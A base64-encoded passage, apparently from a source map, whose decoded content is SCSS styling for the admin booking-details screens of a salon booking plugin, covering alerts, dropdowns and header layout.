AgICAgICAgcGFkZGluZzogMCA2cHggMCA0cHg7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgYSB7XG4gICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICAgICAgICBsaW5lLWhlaWdodDogNDRweDtcbiAgICAgICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJHNsbi1jb2xvci0tZW1waGFzaXM7XG4gICAgICAgICAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgICAgICAgICAgICY6aG92ZXIge1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRzbG4tY29sb3ItLWVtcGhhc2lzLS1ob3ZlcjtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG59XG4vLy5hdXRvLWZvbGQgI3Nsbi1zYWxvbi0tYWRtaW4uc2xuLXNhbG9uLS1zZXR0aW5ncyxcbi5mb2xkZWQgI3Nsbi1zYWxvbi0tYWRtaW4uc2xuLXNhbG9uLS1zZXR0aW5ncyB7XG4gICAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiA4MDBweCkge1xuICAgICAgICAvL0BpbmNsdWRlIGJwKGRlc2t0b3ApIHtcbiAgICAgICAgLnNsbi1hZG1pbi1zaWRlYmFyLFxuICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfd3JhcHBlci5hZmZpeCxcbiAgICAgICAgLnNsbi1uYXYtdGFiLXdyYXBwZXIubmF2LXRhYi13cmFwcGVyLmFmZml4LnNsbi1uYXYtdGFiLXdyYXBwZXItLWludmlldyxcbiAgICAgICAgaDIuc2xuLW5hdi10YWItd3JhcHBlci5uYXYtdGFiLXdyYXBwZXIuYWZmaXguc2xuLW5hdi10YWItd3JhcHBlci0taW52aWV3IHtcbiAgICAgICAgICAgIGxlZnQ6IDM2cHg7XG4gICAgICAgIH1cbiAgICB9XG59XG4iLCJAdXNlIFwiLi4vYWRtaW5fY29uZmlnXCI7XG5AdXNlIFwiLi4vY29sb3JzLW51XCI7XG5AdXNlIFwiLi4vdHlwby1hZG1pblwiO1xuQHVzZSBcImJ1dHRvbnNcIjtcbkB1c2UgXCJpbnB1dHNcIjtcbkB1c2UgXCJib3hlc1wiO1xuXG4vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy9cbi8vIC8vLyBCT09LSU5HXG4vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy9cbkB1c2UgXCIuLi9zZXR0aW5ncy1taXhpbnNcIjtcblxuI3Nsbi1zYWxvbi0tYWRtaW4gI2RldGFpbHNXcmFwcGVyIHtcblx0d2lkdGg6IDEwMCU7XG5cdG9wYWNpdHk6IDEgIWltcG9ydGFudDtcbn1cbiNzbG5fYm9va2luZy1kZXRhaWxzIHtcblx0KiB7XG5cdFx0LXdlYmtpdC1ib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdC1tb3otYm94LXNpemluZzogYm9yZGVyLWJveDtcblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHR9XG5cdC5yb3cuZm9ybS1pbmxpbmUge1xuXHRcdC8vQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiAxMDI0cHgpIGFuZCAobWF4LXdpZHRoOiAxMjc5cHgpIHtcblx0XHQvLyAgLmNvbC1tZC02IHtcblx0XHQvLyAgICB3aWR0aDogMTAwJTtcblx0XHQvLyAgfVxuXHRcdC8vICAuY29sLW1kLTY6bnRoLWNoaWxkKDIpIHtcblx0XHQvLyAgICBtYXJnaW4tdG9wOiAxZW07XG5cdFx0Ly8gIH1cblx0XHQvL31cblxuXHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcblx0XHRcdC5mb3JtLWNvbnRyb2wge1xuXHRcdFx0XHR3aWR0aDogMTAwJTtcblx0XHRcdH1cblx0XHR9XG5cdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG5cdFx0XHRzZWxlY3Qge1xuXHRcdFx0XHRtYXJnaW4tYm90dG9tOiAxZW07XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cdC8vLnNsbl9tZXRhX2ZpZWxkIHtcblx0Ly8gIC5yb3c6YmVmb3JlIHtcblx0Ly8gICAgY29udGVudDogXCJcIjtcblx0Ly8gICAgZGlzcGxheTogYmxvY2s7XG5cdC8vICAgIHdpZHRoOiA5NSU7XG5cdC8vICAgIGhlaWdodDogMXB4O1xuXHQvLyAgICAvL2JhY2tncm91bmQtY29sb3I6ICNmOWY5Zjk7XG5cdC8vICAgIGJvcmRlci10b3A6IDFweCBkb3R0ZWQgI2VlZTtcblx0Ly8gICAgbWFyZ2luOiAxNXB4IDE4cHg7XG5cdC8vICB9XG5cdC8vfVxuXHR0ZXh0YXJlYSNfc2xuX2Jvb2tpbmdfbm90ZSB7XG5cdFx0bWluLWhlaWdodDogMTUwcHg7XG5cdFx0bWFyZ2luLXJpZ2h0OiAxOHB4O1xuXHR9XG5cblx0LnNsbl9ib29raW5nLXNlcnZpY2UtcHJpY2Uge1xuXHRcdGZvbnQtc2l6ZTogMS4xZW07XG5cdFx0Zm9udC13ZWlnaHQ6IGJvbGQ7XG5cdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG5cdFx0XHRtYXJnaW4tdG9wOiAwLjRlbTtcblx0XHR9XG5cdH1cblxuXHQuc2xuX2Jvb2tpbmctc2VydmljZS1pbmZvIHtcblx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcblx0XHRcdGxhYmVsIHtcblx0XHRcdFx0cGFkZGluZy1yaWdodDogMWVtO1xuXHRcdFx0fVxuXHRcdH1cblx0fVxuXG5cdGxhYmVsIHtcblx0XHRmb250LXdlaWdodDogbm9ybWFsO1xuXHRcdHN0cm9uZyB7XG5cdFx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRcdGZvbnQtc2l6ZTogMS4xZW07XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAwLjRlbTtcblx0XHR9XG5cdH1cblxuXHQuc2xuX2Jvb2tpbmctdG9wYnV0dG9ucyB7XG5cdFx0cGFkZGluZy1ib3R0b206IDFlbTtcblx0XHRtYXJnaW46IDFlbSAwIDEuNWVtIDA7XG5cdFx0Ym9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNkZGQ7XG5cdFx0LnJvdyB7XG5cdFx0XHRwYWRkaW5nOiAxZW0gMDtcblx0XHR9XG5cdFx0LnNsbl9hY2NlcHQtcmVmdXNlIHtcblx0XHRcdGJvcmRlci1sZWZ0OiAxcHggc29saWQgI2RkZDtcblx0XHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wLXhsKSB7XG5cdFx0XHRcdHBhZGRpbmctbGVmdDogOS43NSU7XG5cdFx0XHR9XG5cdFx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcblx0XHRcdFx0Ym9yZGVyLWxlZnQ6IG5vbmU7XG5cdFx0XHRcdGJvcmRlci10b3A6IDFweCBzb2xpZCAjZGRkO1xuXHRcdFx0XHRtYXJnaW4tdG9wOiAxZW07XG5cdFx0XHRcdHBhZGRpbmctdG9wOiAxZW07XG5cdFx0XHRcdC5yb3cge1xuXHRcdFx0XHRcdHBhZGRpbmctdG9wOiAwO1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fVxuXG5cdFx0aDIge1xuXHRcdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0XHRcdG1hcmdpbi10b3A6IDA7XG5cdFx0XHRmb250LXNpemU6IDEuM2VtO1xuXHRcdH1cblx0XHQuYnRuIHtcblx0XHRcdHdpZHRoOiAxMDAlO1xuXHRcdFx0Zm9udC1zaXplOiAxOHB4O1xuXHRcdFx0bWFyZ2luLXRvcDogLTJweDtcblx0XHRcdG1hcmdpbi1yaWdodDogMDtcblx0XHRcdG1hcmdpbi1sZWZ0OiAwO1xuXHRcdFx0cGFkZGluZzogNnB4IDA7XG5cdFx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0LXBvcnQpIHtcblx0XHRcdFx0cGFkZGluZzogNXB4IDA7XG5cdFx0XHRcdGZvbnQtc2l6ZTogMjBweDtcblx0XHRcdH1cblx0XHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuXHRcdFx0XHR3aWR0aDogMTAwJTtcblx0XHRcdFx0bWFyZ2luLXRvcDogMC42ZW07XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cdC5mb3JtLWdyb3VwIHtcblx0XHRAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDc2OHB4KSB7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdH1cblx0fVxuXHQuc2xuLXNlcGFyYXRvciB7XG5cdFx0bWFyZ2luOiAwLjVlbSBhdXRvIDEuNWVtIGF1dG87XG5cdFx0Ym9yZGVyLXRvcC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9ncmV5LS1saWdodGVyO1xuXHR9XG5cdC5zbG5fYm9va2luZy1kZXRhaWxzX19ub3RlcyB7XG5cdFx0dGV4dGFyZWEsXG5cdFx0dGV4dGFyZWEjX3Nsbl9ib29raW5nX25vdGUge1xuXHRcdFx0bWluLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNTBweCk7XG5cdFx0fVxuXHR9XG5cdC5zbG4tYm94X19jb2xsYXBzZXdycC0tb3BlbiAuc2xuLWJveC0tbWFpbi5zbG4tYm94LS1oZWFkZXIge1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC41KTtcblx0fVxufVxuXG4uc2hvdy0tcGhvbmUge1xuXHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG5cdFx0ZGlzcGxheTogbm9uZSAhaW1wb3J0YW50O1xuXHRcdHZpc2liaWxpdHk6IGhpZGRlbiAhaW1wb3J0YW50O1xuXHR9XG59XG5cbi5oaWRlLS1waG9uZSB7XG5cdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuXHRcdGRpc3BsYXk6IG5vbmUgIWltcG9ydGFudDtcblx0XHR2aXNpYmlsaXR5OiBoaWRkZW4gIWltcG9ydGFudDtcblx0fVxufVxuXG4jc2xuLXNhbG9uLS1hZG1pbiAjc2xuX2Jvb2tpbmctZGV0YWlscyB7XG5cdC5zbG4tYm9va2luZy1zZXJ2aWNlcy1hbGVydHMge1xuXHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0XHRhbGlnbi1pdGVtczogZmxleC1zdGFydDtcblx0XHRnYXA6IDEwcHg7XG5cdFx0bWFyZ2luLWJvdHRvbTogMTVweDtcblx0fVxuXHQuYWxlcnQge1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdFx0bWFyZ2luLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxOHB4KTtcblx0fVxuXHQjc2xuLXVwZGF0ZS11c2VyLW1lc3NhZ2UsXG5cdCNzbG4tbm90aWZpY2F0aW9ucyB7XG5cdFx0Ly9oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG5cdFx0Ly9kaXNwbGF5OiBncmlkO1xuXHRcdC8vZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiBhdXRvO1xuXHRcdC8vYWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHQvL21hcmdpbjogMCBhdXRvO1xuXHRcdGZsb2F0OiBub25lO1xuXHRcdC5hbGVydCB7XG5cdFx0XHRoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG5cdFx0XHQvL2Rpc3BsYXk6IGdyaWQ7XG5cdFx0XHQvL2dyaWQtdGVtcGxhdGUtY29sdW1uczogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KSBhdXRvO1xuXHRcdFx0Ly9hbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdFx0Ly9jb2x1bW4tZ2FwOiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuXHRcdFx0ZGlzcGxheTogZmxleDtcblx0XHRcdGZsZXgtZGlyZWN0aW9uOiByb3ctcmV2ZXJzZTtcblx0XHRcdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRcdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHRcdG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG5cdFx0XHRtYXJnaW4tdG9wOiAwO1xuXHRcdFx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSg5cHgpIHNldHRpbmdzLW1peGlucy5yZW0oMTVweCk7XG5cdFx0XHQvKiBGSVggMDkyMDIzICovXG5cdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0XHRcdFx0bWFyZ2luLXJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDIxcHgpO1xuXHRcdFx0XHRjb2xvcjogY3VycmVudENvbG9yO1xuXHRcdFx0XHRjb250ZW50OiBcIiBcXGY0ZmNcIjtcblx0XHRcdFx0YmFja2ZhY2UtdmlzaWJpbGl0eTogaGlkZGVuO1xuXHRcdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0XHRAZXh0ZW5kICVmb250LWljb247XG5cdFx0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0dHJhbnNpdGlvbjogYWxsIDAuMTVzO1xuXHRcdFx0fVxuXHRcdFx0Ji5hbGVydC13YXJuaW5nOjphZnRlciB7XG5cdFx0XHRcdGNvbnRlbnQ6IFwiIFxcZjA2YVwiO1xuXHRcdFx0fVxuXHRcdFx0Ji5hbGVydC1kYW5nZXI6OmFmdGVyIHtcblx0XHRcdFx0Y29udGVudDogXCIgXFxmMDZhXCI7XG5cdFx0XHR9XG5cdFx0XHQmLmFsZXJ0LWxvYWRpbmcge1xuXHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX251X21haW4tLW1lZGxpZ2h0O1xuXHRcdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdFx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRcdFx0XHRcdGNvbnRlbnQ6IFwiXCI7XG5cdFx0XHRcdFx0d2lkdGg6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG5cdFx0XHRcdFx0aGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuXHRcdFx0XHRcdGJvcmRlcjogM3B4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbnVfbWFpbi0tbGlnaHQ7XG5cdFx0XHRcdFx0Ym9yZGVyLXJhZGl1czogNTAlO1xuXHRcdFx0XHRcdGJvcmRlci1yaWdodC1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cblx0XHRcdFx0XHQtd2Via2l0LXRyYW5zZm9ybTogdHJhbnNsYXRlWigwKTtcblx0XHRcdFx0XHQtbXMtdHJhbnNmb3JtOiB0cmFuc2xhdGVaKDApO1xuXHRcdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWigwKTtcblx0XHRcdFx0XHQtd2Via2l0LWFuaW1hdGlvbjogbG9hZDggMS4xcyBpbmZpbml0ZSBsaW5lYXI7XG5cdFx0XHRcdFx0YW5pbWF0aW9uOiBsb2FkOCAxLjFzIGluZmluaXRlIGxpbmVhcjtcblx0XHRcdFx0fVxuXHRcdFx0XHRpbWcge1xuXHRcdFx0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdFx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0XHRcdHRyYW5zaXRpb246IGFsbCAwLjE1cztcblx0XHRcdFx0XHRkaXNwbGF5OiBub25lO1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fVxuXHRcdC8vIFx0LnNsbi1hbGVydC5zbG4tYWxlcnQtLXdhaXQsXG5cdFx0Ly8gXHQuc2xuLWFsZXJ0LS13YWl0IHtcblx0XHQvLyBcdFx0LyogRklYIDA5MjAyM1xuXHRcdC8vICAgJjo6YWZ0ZXIge1xuXHRcdC8vICAgICAvL3RvcDogaW5pdGlhbDtcblx0XHQvLyAgICAgZGlzcGxheTogYmxvY2s7XG5cdFx0Ly8gICAgIGNvbnRlbnQ6IFwiYWNjZXNzX3RpbWVcIjtcblx0XHQvLyAgICAgZm9udC1zaXplOiAxLjllbTtcblx0XHQvLyAgICAgQGV4dGVuZCAldGV4dC1jb2xvci0tZW1waGFzaXM7XG5cdFx0Ly8gICAgIC8vLXdlYmtpdC1hbmltYXRpb246IHdhaXQgMnMgaW5maW5pdGUgbGluZWFyO1xuXHRcdC8vICAgICAvL2FuaW1hdGlvbjogd2FpdCAycyBpbmZpbml0ZSBsaW5lYXI7XG5cdFx0Ly8gICAgIHRleHQtdHJhbnNmb3JtOiBub25lO1xuXHRcdC8vICAgICBAaW5jbHVkZSBpZTExKCkge1xuXHRcdC8vICAgICAgIGZvbnQtc2l6ZTogMzBweDtcblx0XHQvLyAgICAgfVxuXHRcdC8vICAgfVxuXHRcdC8vICAgKi9cblx0XHQvLyBcdH1cblx0fVxuXHQjc2xuLW5vdGlmaWNhdGlvbnMge1xuXHRcdC5hbGVydCB7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDBweCk7XG5cdFx0XHRtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuXHRcdH1cblx0fVxuXHQuc2xuLWJvb2tpbmctc2VydmljZS1saW5lIHtcblx0XHRsYWJlbC50aW1lIHtcblx0XHRcdGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcblx0XHRcdGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuXHRcdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0XHR9XG5cdH1cblx0LnNsbi1ib29raW5nLXNlcnZpY2UtYWN0aW9uIHtcblx0XHRtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDQ1cHgpO1xuXHR9XG5cdC5zbG4tYm9va2luZy1zZXJ2aWNlLWFjdGlvbl9fYnRucyB7XG5cdFx0Ly90ZXh0LWFsaWduOiByaWdodDtcblx0XHRwYWRkaW5nLWxlZnQ6IDJyZW07XG5cdFx0QG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3NjdweCkge1xuXHRcdFx0cGFkZGluZy1sZWZ0OiAwO1xuXHRcdFx0dGV4dC1hbGlnbjogY2VudGVyO1xuXHRcdH1cblx0fVxuXHQjc2xuLXVwZGF0ZS11c2VyLWZpZWxkICsgLnNlbGVjdDItY29udGFpbmVyLnNlbGVjdDItY29udGFpbmVyLS1zbG4ge1xuXHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlIHtcblx0XHRcdGhlaWdodDogMy4zM3JlbTtcblx0XHRcdGxpbmUtaGVpZ2h0OiAzLjMzcmVtO1xuXHRcdFx0LnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZCB7XG5cdFx0XHRcdGxpbmUtaGVpZ2h0OiAzLjJyZW07XG5cdFx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fcGxhY2Vob2xkZXIge1xuXHRcdFx0XHRcdG9wYWNpdHk6IDAuNzU7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fYXJyb3cge1xuXHRcdFx0XHR3aWR0aDogMS42cmVtO1xuXHRcdFx0XHRoZWlnaHQ6IDEuNnJlbTtcblx0XHRcdFx0dG9wOiBjYWxjKDUwJSAtIDAuOHJlbSk7XG5cdFx0XHRcdHJpZ2h0OiAwLjhyZW07XG5cdFx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdFx0Ly9jb250ZW50OiBcIlxcZjJiZFwiO1xuXHRcdFx0XHRcdGNvbnRlbnQ6IFwiXFxmMDAyXCI7XG5cdFx0XHRcdFx0d2lkdGg6IDEuNnJlbTtcblx0XHRcdFx0XHRoZWlnaHQ6IDEuNnJlbTtcblx0XHRcdFx0XHRsaW5lLWhlaWdodDogMS42cmVtO1xuXHRcdFx0XHRcdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0XHRcdFx0XHRpbnNldDogYXV0bztcblx0XHRcdFx0XHRmb250LXNpemU6IDEuNnJlbTtcblx0XHRcdFx0fVxuXHRcdFx0XHQvLyAmOjphZnRlciB7XG5cdFx0XHRcdC8vIFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0XHRcdC8vIFx0Zm9udC1mYW1pbHk6IFwiRm9udEF3ZXNvbWVcIjtcblx0XHRcdFx0Ly8gXHRmb250LXNpemU6IDAuOTJyZW07XG5cdFx0XHRcdC8vIFx0Zm9udC13ZWlnaHQ6IDkwMDtcblx0XHRcdFx0Ly8gXHRjb250ZW50OiBcIlxcZjAwMlwiO1xuXHRcdFx0XHQvLyBcdHdpZHRoOiAxLjZyZW07XG5cdFx0XHRcdC8vIFx0aGVpZ2h0OiAxLjZyZW07XG5cdFx0XHRcdC8vIFx0bGluZS1oZWlnaHQ6IDEuNnJlbTtcblx0XHRcdFx0Ly8gXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdFx0XHRcdC8vIFx0aW5zZXQ6IGF1dG87XG5cdFx0XHRcdC8vIFx0Zm9udC1zaXplOiAxLjZyZW07XG5cdFx0XHRcdC8vIFx0Y29sb3I6ICRjbF9tYWluLS1tZWRpdW07XG5cdFx0XHRcdC8vIH1cblx0XHRcdH1cblx0XHR9XG5cdH1cblx0Ly8vLyBORVcgTUFJTiBIRUFERVIgQk9YIC8vLy9cblx0LnNsbi1ib29raW5nX19oZWFkZXIge1xuXHRcdGRpc3BsYXk6IGdyaWQ7XG5cdFx0Ly9ncmlkLXRlbXBsYXRlOiBhdXRvLzE4JSBjYWxjKDM4JSAtIDNyZW0pIDQ0JTtcblx0XHRncmlkLXRlbXBsYXRlOiBhdXRvLzFmciAyZnI7XG5cdFx0Z2FwOiAxLjVyZW07XG5cdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHRtYXJnaW4tYm90dG9tOiAzcmVtO1xuXHRcdC5zbG4tYm9va2luZ19faGVhZGVyX190aXRsZSB7XG5cdFx0XHRncmlkLWNvbHVtbjogMTtcblx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0aDEge1xuXHRcdFx0XHRtYXJnaW46IDA7XG5cdFx0XHRcdHBhZGRpbmc6IDA7XG5cdFx0XHRcdGZvbnQtc2l6ZTogMS43NXJlbTtcblx0XHRcdFx0Zm9udC13ZWlnaHQ6IDYwMDtcblx0XHRcdFx0Y29sb3I6ICNiN2I3Yjc7XG5cdFx0XHRcdGNvbG9yOiBzbG4tbnVjb2xvci0tdGV4dCgxKTtcblx0XHRcdH1cblx0XHR9XG5cdFx0LnNsbi1ib29raW5nX19oZWFkZXJfX2NvbmZpcm1hdGlvbiB7XG5cdFx0XHRncmlkLWNvbHVtbjogMjtcblx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0ZGlzcGxheTogZmxleDtcblx0XHRcdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRcdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHRcdGdhcDogMXJlbTtcblx0XHRcdGgyIHtcblx0XHRcdFx0bWFyZ2luOiAwO1xuXHRcdFx0XHRwYWRkaW5nOiAwO1xuXHRcdFx0XHRmb250LXNpemU6IDFyZW07XG5cdFx0XHRcdGZvbnQtd2VpZ2h0OiA0MDA7XG5cdFx0XHRcdGNvbG9yOiBzbG4tbnVjb2xvci0tdGV4dCgxKTtcblx0XHRcdH1cblx0XHR9XG5cdFx0LnNsbi1ib29raW5nX19oZWFkZXJfX211bHRpc2hvcCB7XG5cdFx0XHRncmlkLWNvbHVtbjogMjtcblx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0LnNsbi1zZWxlY3Qge1xuXHRcdFx0XHRncmlkLXRlbXBsYXRlOiBhdXRvIC8gNDAlIGNhbGMoNjAlIC0gMXJlbSk7XG5cdFx0XHRcdGdhcDogMXJlbTtcblx0XHRcdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHRcdFx0bGFiZWwge1xuXHRcdFx0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdFx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0XHRcdG1hcmdpbjogMDtcblx0XHRcdFx0XHRwYWRkaW5nOiAwO1xuXHRcdFx0XHRcdHRleHQtYWxpZ246IHJpZ2h0O1xuXHRcdFx0XHR9XG5cdFx0XHRcdC5zZWxlY3QyLWNvbnRhaW5lci0tc2xuIHtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogMjtcblx0XHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0XHQuc2xuLWJvb2tpbmdfX2hlYWRlcl9fc3RhdHVzIHtcblx0XHRcdGdyaWQtY29sdW1uOiAyO1xuXHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRkaXNwbGF5OiBncmlkO1xuXHRcdFx0Ly9ncmlkLXRlbXBsYXRlOiBhdXRvLzQ1JSBjYWxjKDU1JSAtIDFyZW0pO1xuXHRcdFx0Z3JpZC10ZW1wbGF0ZTogYXV0by8xZnIgMS42ZnI7XG5cdFx0XHRnYXA6IDFyZW07XG5cdFx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdH1cblx0XHQuc2xuLWJvb2tpbmdfX2hlYWRlcl9fc3RhdHVzLFxuXHRcdC5zbG4tYm9va2luZ19faGVhZGVyX19tdWx0aXNob3Age1xuXHRcdFx0LnNsbi1zZWxlY3Qge1xuXHRcdFx0XHRncmlkLWNvbHVtbjogMjtcblx0XHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRcdC5zZWxlY3QyLWNvbnRhaW5lci5zZWxlY3QyLWNvbnRhaW5lci0tc2xuXG5cdFx0XHRcdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUge1xuXHRcdFx0XHRcdGhlaWdodDogMi44cmVtO1xuXHRcdFx0XHRcdGxpbmUtaGVpZ2h0OiAyLjhyZW07XG5cdFx0XHRcdFx0Ym9yZGVyOiAycHggc29saWQgY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpO1xuXHRcdFx0XHRcdGJvcmRlci1yYWRpdXM6IDRweDtcblx0XHRcdFx0XHQuc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkIHtcblx0XHRcdFx0XHRcdGxpbmUtaGVpZ2h0OiAyLjVyZW07XG5cdFx0XHRcdFx0XHRmb250LXNpemU6IDEuMTI1cmVtO1xuXHRcdFx0XHRcdFx0Zm9udC13ZWlnaHQ6IDYwMDtcblx0XHRcdFx0XHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQoMSk7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fYXJyb3cge1xuXHRcdFx0XHRcdFx0d2lkdGg6IDAuOXJlbTtcblx0XHRcdFx0XHRcdGhlaWdodDogMC44cmVtO1xuXHRcdFx0XHRcdFx0dG9wOiBjYWxjKDUwJSAtIDAuNHJlbSk7XG5cdFx0XHRcdFx0XHRyaWdodDogMXJlbTtcblx0XHRcdFx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdFx0XHRcdHdpZHRoOiAwLjlyZW07XG5cdFx0XHRcdFx0XHRcdGhlaWdodDogMC44cmVtO1xuXHRcdFx0XHRcdFx0XHRmb250LXNpemU6IDFyZW07XG5cdFx0XHRcdFx0XHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMSk7XG5cdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHR9XG5cblx0XHRcdC5zbG4tc2V0LWRlZmF1bHQtYm9va2luZy1zdGF0dXMtLWJsb2NrLWxhYmVscyB7XG5cdFx0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdFx0XHQvL3BhZGRpbmctbGVmdDogMnJlbTtcblx0XHRcdFx0dGV4dC1hbGlnbjogcmlnaHQ7XG5cdFx0XHRcdGZvbnQtc2l6ZTogMXJlbTtcblx0XHRcdFx0LnNsbi1zZXQtZGVmYXVsdC1ib29raW5nLXN0YXR1cy0tbGFiZWwtbWVzc2FnZSB7XG5cdFx0XHRcdFx0ZGlzcGxheTogZ3JpZDtcblx0XHRcdFx0XHRncmlkLXRlbX